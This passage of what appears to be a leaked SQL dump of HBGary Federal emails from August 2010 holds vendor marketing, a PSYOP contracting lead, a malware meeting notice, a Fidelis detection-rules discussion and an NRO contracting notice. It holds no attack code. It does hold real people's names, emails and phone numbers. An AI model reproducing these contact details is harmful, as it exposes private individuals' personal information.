<tyler.holley@carahsoft.com>','/aaron@hbgary.com/new/1297007782.M582602P14101Q4793.eml','\"Aaron Barr\" <aaron@hbgary.com>','Last Chance: Manage and Track Your Grants in the Cloud','\r\n  \r\nTo view an online version of this email, click here.\r\n\r\n\r\n\r\nbody {\r\nbackground-color: #c3c3c3;\r\ncolor: #000;\r\nfont-size:12px; \r\nfont-family: Arial, Helvetica, sans-serif;\r\n}\r\n.tbody {\r\nbackground-color: #fff;\r\ncolor: #000;\r\nfont-size:12px; \r\nfont-family: Arial, Helvetica, sans-serif;\r\n}\r\nh1 \r\n{\r\nfont-family: Arial, Helvetica, sans-serif;\r\nfont-size: 24px;\r\nfont-style: normal;\r\nline-height: normal;\r\nfont-weight: normal;\r\nfont-variant: normal;\r\ntext-transform: uppercase;\r\ncolor: #025699;\r\npadding: 0px;\r\n}\r\np, td { font-size:12px; }\r\ntd.content { padding-right: 25px; }\r\na:hover { text-decoration: underline; color: #025699; }\r\na:link { text-decoration: underline; color: #025699; }\r\na:visited { text-decoration: underline; color: #025699; }\r\n.footer {\r\nbackground-color:#58595B;\r\npadding:5px;\r\nfont-family: Arial, Helvetica, sans-serif;\r\nfont-size: 10px;\r\nfont-style: normal;\r\nline-height: normal;\r\nfont-weight: normal;\r\nfont-variant: normal;\r\ntext-transform: none;\r\ncolor: #FFFFFF;\r\ntext-align: center;\r\nvertical-align: middle;\r\n}\r\nbody { background-color:#c3c3c3 !important; }\r\n\r\n&nbsp;\r\n\r\n\r\n	\r\n		\r\n			\r\n		\r\n		\r\n			\r\n			\r\n				\r\n					\r\n						\r\n						\r\n						Manage and Track Your Grants in the Cloud \r\n						\r\n						\r\n						Many of today&rsquo;s government Grants Management applications are difficult and costly to maintain because they are built on top of on-premise legacy systems. As a result, requested changes take days, weeks, or months to be implemented, and current reports take days to compile. \r\n						\r\n						\r\n						This is your last chance to join us for a complimentary webcast to learn how cloud computing is changing all of this, and how Salesforce.com is leading the way in many government agencies. Grants Management applications built on Salesforce.com can keep up with your agency&rsquo;s daily tracking activities, as well as the complex financial reporting that is required. It is also dynamic enough to change the system as Grants are introduced or retire. \r\n						\r\n						\r\n						During this webcast, we will show: \r\n						\r\n						\r\n							Current use of Saleforce.com for Grants Management \r\n							How to track each amount awarded and requests for reimbursements, along with compliance to the terms of the grants, with supporting documentation\r\n							How to implement tracking to monitor each visit and make sure that a minimum of quarterly visits are accomplished\r\n							How to improve visibility and reporting, especially to those falling out of compliance\r\n						\r\n						\r\n						Interested but cannot attend at this time? Sign up to receive a&nbsp;recording of the presentation&nbsp;after the event. \r\n						\r\n						\r\n						Questions? Contact me. \r\n						Tyler Holley\r\n						Salesforce Government at \r\n						Carahsoft Technology Corp.\r\n						703-871-8658 (Direct)\r\n						888-554-7468 (Toll-Free)\r\n						tyler.holley@carahsoft.com\r\n						www.carahsoft.com/cloud/salesforce \r\n						\r\n						\r\n						&nbsp;\r\n						\r\n						\r\n						\r\n						\r\n						Last Chance to Register! \r\n						\r\n						Date: Wednesday, August 11, 2010 \r\n						Time: 11:00am EDT; 8:00am PDT\r\n						Duration: 1 Hour \r\n						\r\n						\r\n						 \r\n						\r\n						\r\n						\r\n						Agenda and Panel: \r\n						\r\n						Intro to Cloud Computing for the Government\r\n						Blake Wolff\r\n						Executive VP, Business Development, Astadia\r\n						\r\n						Customer Testimonial\r\n						Therese Baker\r\n						VP of Administration, Florida\'s Great Northwest \r\n						\r\n						\r\n						Grants Management Demo\r\n						Michael Maples\r\n						Practice Manager, Buan Consulting\r\n						\r\n						Q &amp; A with Panel \r\n						\r\n						\r\n						\r\n					\r\n				\r\n			\r\n			\r\n		\r\n		\r\n			Share this e-mail:      &nbsp;\r\n		\r\n	\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nClick here to forward this mailing with your personal message.\r\n\r\nThis email was sent to: aaron@hbgary.com\r\nThis email was sent by: Carahsoft Technology Corp.\r\n12369 Sunrise Valley Dr. Suite D2, Reston, VA 20191\r\n\r\n\r\nClick here to leave this mailing list.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n',8031,'aaron_hbgary_com/8031.html'),(9938,'2010-08-09','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297007782.M780167P14101Q4794.eml','\"Aaron Barr\" <aaron@hbgary.com>','PSYOP Sources Sought - H92222-10-T-0006 - Federal Business Opportunities: Opportunities','Did you see this one?\r\n\r\nhttps://www.fbo.gov/?s=opportunity&mode=form&id=0d86f6281de7d64c13f91c7e\r\nde3f3fe5&tab=core&_cview=1\r\n\r\nAsked last week if there was any room for us on ITSSS?\r\n\r\nThings still not going well on my homefront other than my 14 year old\r\ndaughter is beyond awesome.\r\n\r\nBrian\r\n',6661,'aaron_hbgary_com/6661.html'),(9939,'2010-08-09','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297007782.M83911P14101Q4791.eml','\"Aaron Barr (HBGary)\" <aaron@hbgary.com>','Dawn Meyerriecks re malware','\r\n\r\n\r\n\r\n\r\nDawn Meyerriecks re malware\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, August 11, 2010 4:00 PM-4:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Room 5B103, LX-2\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nBring a CD of the item we discussed.&nbsp; \r\n\r\n\r\n',16029,'aaron_hbgary_com/16029.html'),(9940,'2010-08-09','\"John Edwards\" <John.Edwards@agilex.com>','/aaron@hbgary.com/new/1297007782.M978636P14101Q4795.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting - Finally','Aaron,\r\nLets\' set something up for next week (16th).  There are a couple of things I need to talk to you about.  One has a short time-fuse.\r\nJohn\r\n\r\nOn Jul 21, 2010, at 12:43 AM, Aaron Barr wrote:\r\n\r\n> John,\r\n> \r\n> How about first week of August?  I am on family vacation starting\r\n> Thursday then blackhat.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Jul 20, 2010, at 1:44 PM, John Edwards  wrote:\r\n> \r\n>> Aaron,\r\n>> I\'m good later this week or next -- let me know what works for you\r\n>> \r\n>> On Jul 15, 2010, at 12:55 AM, Aaron Barr wrote:\r\n>> \r\n>>> Hi John,\r\n>>> \r\n>>> I have been meeting with some folks lately and your name keeps coming up, so probably a from my side definitely worth getting together and chatting a bit.  Most of it lately has been around your Apple capabilities and a few developers you have.  Probably some larger things that would be worth discussing.\r\n>>> \r\n>>> Let me know when you have some time.\r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>> \r\n\r\n',13950,'aaron_hbgary_com/13950.html'),(9941,'2010-08-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007783.M192512P14101Q4796.eml','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','Re: PSYOP Sources Sought - H92222-10-T-0006 - Federal Business 	Opportunities: Opportunities','Hey,I didn&#39;t.  I&#39;ll check it out.NG is on the team.  The civil folks.  I will get a name for you, just happened Friday.\r\nThat really stinks.  Nothing to really do but get through it.I&#39;ll give u a call tomorrow.  Getting a new tattoo right now...Sent from my iPhoneOn Aug 9, 2010, at 3:00 PM, &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\nhttps://www.fbo.gov/?s=opportunity&amp;mode=form&amp;id=0d86f6281de7d64c13f91c7e\r\nde3f3fe5&amp;tab=core&amp;_cview=1\r\n',9046,'aaron_hbgary_com/9046.html'),(9942,'2010-08-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007783.M414416P14101Q4797.eml','\"John Edwards\" <John.Edwards@agilex.com>','Re: Meeting - Finally','Rgr.  I am open working on a proposal, so flexible.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 9, 2010, at 3:01 PM, John Edwards  wrote:\r\n\r\n> Aaron,\r\n> Lets\' set something up for next week (16th).  There are a couple of things I need to talk to you about.  One has a short time-fuse.\r\n> John\r\n>\r\n> On Jul 21, 2010, at 12:43 AM, Aaron Barr wrote:\r\n>\r\n>> John,\r\n>>\r\n>> How about first week of August?  I am on family vacation starting\r\n>> Thursday then blackhat.\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPad\r\n>>\r\n>> On Jul 20, 2010, at 1:44 PM, John Edwards  wrote:\r\n>>\r\n>>> Aaron,\r\n>>> I\'m good later this week or next -- let me know what works for you\r\n>>>\r\n>>> On Jul 15, 2010, at 12:55 AM, Aaron Barr wrote:\r\n>>>\r\n>>>> Hi John,\r\n>>>>\r\n>>>> I have been meeting with some folks lately and your name keeps coming up, so probably a from my side definitely worth getting together and chatting a bit.  Most of it lately has been around your Apple capabilities and a few developers you have.  Probably some larger things that would be worth discussing.\r\n>>>>\r\n>>>> Let me know when you have some time.\r\n>>>>\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>>\r\n>>>\r\n>\r\n',2443,'aaron_hbgary_com/2443.html'),(9943,'2010-08-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007783.M684425P14101Q4798.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: PSYOP Sources Sought - H92222-10-T-0006 - Federal Business 	Opportunities: Opportunities','Can u check it out.Sent from my iPhoneBegin forwarded message:From: &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt;\r\nDate: August 9, 2010 3:00:13 PM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: PSYOP Sources Sought - H92222-10-T-0006 - Federal Business Opportunities: Opportunities\r\nDid you see this one?https://www.fbo.gov/?s=opportunity&amp;mode=form&amp;id=0d86f6281de7d64c13f91c7e\r\nde3f3fe5&amp;tab=core&amp;_cview=1Asked last week if there was any room for us on ITSSS?Things still not going well on my homefront other than my 14 year old\r\ndaughter is beyond awesome.Brian\r\n',5601,'aaron_hbgary_com/5601.html'),(9944,'2010-08-09','\"Mancini, Jerry\" <jerry.mancini@fidelissecurity.com>','/aaron@hbgary.com/new/1297007783.M929078P14101Q4799.eml','\"Aaron barr\" <aaron@hbgary.com>','RE: Fidelis Discussion','Hi Aaron,\r\n\r\nI\'m back from vacation. Should we schedule some time to go over the\r\ndetails of what\'s missing in the rules?\r\n\r\nJerry\r\n\r\n> -----Original Message-----\r\n> From: Aaron barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, August 03, 2010 3:21 PM\r\n> To: Mancini, Jerry\r\n> Subject: Re: Fidelis Discussion\r\n> \r\n> Jerry,\r\n> \r\n> I agree i don\'t think building the rules is technically the hard part,\r\n> it\'s just taking the time to do it.  I think once they are built there\r\n> will be a lot of benefit and interest.  It\'s a different model than\r\n> some are used to so somewhat chicken and egg.  If they are built and\r\n> it\'s demoable then people will buy it, just talking about it people\r\nare\r\n> interested but I am having a harder time really getting their interest\r\n> past that at the moment without something more tangible.  Slower\r\nmoving\r\n> forward than i would like but it is what it is.  I am just impatient\r\n> because i see the value.\r\n> \r\n> I like the feed model.  We are reselling services from end games very\r\n> similar.  We to could use either.  It would be neat to compare some\r\n> time.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Aug 3, 2010, at 1:28 PM, \"Mancini, Jerry\"\r\n>  wrote:\r\n> \r\n> > Aaron,\r\n> >\r\n> > In my (obviously biased) opinion, rule creation in Fidelis XPS is\r\n> very\r\n> > easy. If you can transfer the knowledge, we can build the rules\r\n> without\r\n> > much effort. I agree that automation can come later - but that won\'t\r\n> be\r\n> > too hard either given our API into our rule creation engine.\r\n> >\r\n> > Regarding the suspicious/malicious sources, we just released our\r\nFeed\r\n> > Manager feature with version 6.2 in July. The feed manager will\r\n> accept a\r\n> > feed of such sources of information. We have a partnership with\r\n> > Cyveillance where we can accept their information from a customer\r\n> with a\r\n> > paid subscription. We can also take feeds from any other source\r\n> provided\r\n> > the customer has access to it.\r\n> >\r\n> > Jerry\r\n> >\r\n> >> -----Original Message-----\r\n> >> From: Aaron barr [mailto:aaron@hbgary.com]\r\n> >> Sent: Tuesday, August 03, 2010 11:58 AM\r\n> >> To: Mancini, Jerry\r\n> >> Subject: Re: Fidelis Discussion\r\n> >>\r\n> >> Hi Jerry,\r\n> >>\r\n> >> Sure.  We do a decent amount of incident response work so we have\r\non\r\n> >> the ground knowledge of the threat space, and there are a default\r\n> set\r\n> >> of rules that would be helpful to build to take some action.\r\n> >> Attachments with certain characteristics.  IP traffic from\r\n> suspicious\r\n> >> or known malicious sources.  Suspicious traffic patterns or traffic\r\n> >> content.  This would be based on our knowledge of the threat space.\r\n> I\r\n> >> strongly believe eventually we can automate some of the rules\r\n> >> generation based on other source collection, whether that be\r\nthrough\r\n> >> HBG Active Defense or other source but we can manually generate\r\n> those\r\n> >> to start.  We can build those rules just don\'t have the budget to\r\ndo\r\n> > so\r\n> >> at the moment.\r\n> >>\r\n> >> Aaron\r\n> >>\r\n> >> Sent from my iPad\r\n> >>\r\n> >> On Aug 2, 2010, at 6:12 PM, \"Mancini, Jerry\"\r\n> >>  wrote:\r\n> >>\r\n> >>> Hi Aaron,\r\n> >>>\r\n> >>> I\'m away on vacation this week - due back next Monday.\r\n> >>>\r\n> >>> I\'d like to know the details behind the missing rules and see what\r\n> > we\r\n> >>> can do. When you say \"developing a set of default rules\" - can you\r\n> >>> elaborate?\r\n> >>>\r\n> >>> Thanks,\r\n> >>> Jerry\r\n> >>>\r\n> >>>> -----Original Message-----\r\n> >>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> >>>> Sent: Monday, August 02, 2010 2:25 PM\r\n> >>>> To: Mancini, Jerry\r\n> >>>> Subject: Fidelis Discussion\r\n> >>>>\r\n> >>>> Hi Jerry,\r\n> >>>>\r\n> >>>> Just getting back from Vegas and processing a lot of good\r\ncontacts\r\n> >> and\r\n> >>>> feedback.\r\n> >>>>\r\n> >>>> Lots of general interest related to Fidelis and HBGary\r\n> integration.\r\n> >>>> Lots of interest on Fidelis use being able to do session\r\n> >>> reconstruction\r\n> >>>> and some analysis.  But the lack of base and generated rules tend\r\n> > to\r\n> >>>> put the box right back into the strict DLP rather than the larger\r\n> >>>> perimeter defense category.  I had a brief conversation with Mary\r\n> >> out\r\n> >>>> there on this.  Is there any internal momentum or interest in\r\n> >>>> developing a set of default rules?  Our plan is to eventually\r\nwork\r\n> >> on\r\n> >>>> what it might look like to generate rules using Active Defense\r\n> > hashs\r\n> >>>> but we haven\'t got their yet, just don\'t have the manpower right\r\n> > now\r\n> >>> to\r\n> >>>> do it.  We know its very possible and are pitching the combined\r\n> >>>> capability as an offering, its just slow.\r\n> >>>>\r\n> >>>> Aaron Barr\r\n> >>>> CEO\r\n> >>>> HBGary Federal Inc.\r\n> >>>\r\n',7397,'aaron_hbgary_com/7397.html'),(9945,'2010-08-09','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297007789.M423046P14101Q4800.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Re: PSYOP Sources Sought - H92222-10-T-0006 - Federal Business Opportunities: Opportunities','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAre you serious on the tat?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, August 09, 2010 3:06 PM\r\nTo: Masterson, Brian M (XETRON)\r\nSubject: EXTERNAL:Re: PSYOP Sources Sought - H92222-10-T-0006 - Federal\r\nBusiness Opportunities: Opportunities\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHey,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI didn\'t. &nbsp;I\'ll check it out.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNG is on the team. &nbsp;The civil folks. &nbsp;I will get a\r\nname for you, just happened Friday.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThat really stinks. &nbsp;Nothing to really do but get\r\nthrough it.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\'ll give u a call tomorrow. &nbsp;Getting a new tattoo\r\nright now...\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 9, 2010, at 3:00 PM, &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nhttps://www.fbo.gov/?s=opportunity&amp;mode=form&amp;id=0d86f6281de7d64c13f91c7e\r\nde3f3fe5&amp;tab=core&amp;_cview=1\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3332,'aaron_hbgary_com/3332.html'),(9946,'2010-08-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007789.M652718P14101Q4801.eml','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','Re: EXTERNAL:Re: PSYOP Sources Sought - H92222-10-T-0006 - Federal 	Business Opportunities: Opportunities','Yep.  I have a few already.  4 to be exact.  This one is a cover up so won&#39;t increase the number but it&#39;s bigger.Sent from my iPhoneOn Aug 9, 2010, at 3:10 PM, &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAre you serious on the tat?\r\n\r\n \r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, August 09, 2010 3:06 PM\r\nTo: Masterson, Brian M (XETRON)\r\nSubject: EXTERNAL:Re: PSYOP Sources Sought - H92222-10-T-0006 - Federal\r\nBusiness Opportunities: Opportunities\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nHey,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI didn&#39;t.  I&#39;ll check it out.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nNG is on the team.  The civil folks.  I will get a\r\nname for you, just happened Friday.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThat really stinks.  Nothing to really do but get\r\nthrough it.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI&#39;ll give u a call tomorrow.  Getting a new tattoo\r\nright now...\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 9, 2010, at 3:00 PM, &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nhttps://www.fbo.gov/?s=opportunity&amp;mode=form&amp;id=0d86f6281de7d64c13f91c7e\r\n\r\nde3f3fe5&amp;tab=core&amp;_cview=1\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6535,'aaron_hbgary_com/6535.html'),(9947,'2010-08-09','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297007789.M869802P14101Q4802.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Re: PSYOP Sources Sought - H92222-10-T-0006 - Federal Business Opportunities: Opportunities','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYou kill me! &nbsp;Have fun.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, August 09, 2010 3:13 PM\r\nTo: Masterson, Brian M (XETRON)\r\nSubject: Re: EXTERNAL:Re: PSYOP Sources Sought - H92222-10-T-0006 -\r\nFederal Business Opportunities: Opportunities\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYep. &nbsp;I have a few already. &nbsp;4 to be exact.\r\n&nbsp;This one is a cover up so won\'t increase the number but it\'s bigger.\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 9, 2010, at 3:10 PM, &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre\r\nyou serious on the tat?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian\r\nMasterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, August 09, 2010 3:06 PM\r\nTo: Masterson, Brian M (XETRON)\r\nSubject: EXTERNAL:Re: PSYOP Sources Sought - H92222-10-T-0006 - Federal\r\nBusiness Opportunities: Opportunities\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHey,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\ndidn\'t. &nbsp;I\'ll check it out.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNG\r\nis on the team. &nbsp;The civil folks. &nbsp;I will get a name for you, just\r\nhappened Friday.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThat\r\nreally stinks. &nbsp;Nothing to really do but get through it.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\'ll\r\ngive u a call tomorrow. &nbsp;Getting a new tattoo right now...\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 9, 2010, at 3:00 PM, &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nhttps://www.fbo.gov/?s=opportunity&amp;mode=form&amp;id=0d86f6281de7d64c13f91c7e\r\nde3f3fe5&amp;tab=core&amp;_cview=1\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16624,'aaron_hbgary_com/16624.html'),(9948,'2010-08-09','arc@westfields.net','/aaron@hbgary.com/new/1297007790.M332840P14101Q4804.eml','federal@hbgary.com','IMINT Sole Source Business Opportunity Posting','\r\nThe NRO/IMINT Directorate is pleased to announce the release of a Sole Source Business Opportunity on the classified ARC.  It will remain visible for five calendar days. The Contract Type is expected to be: FFP. The Effort Type is R&D.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Business Opportunities to view the latest Sole Source Opportunites\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, 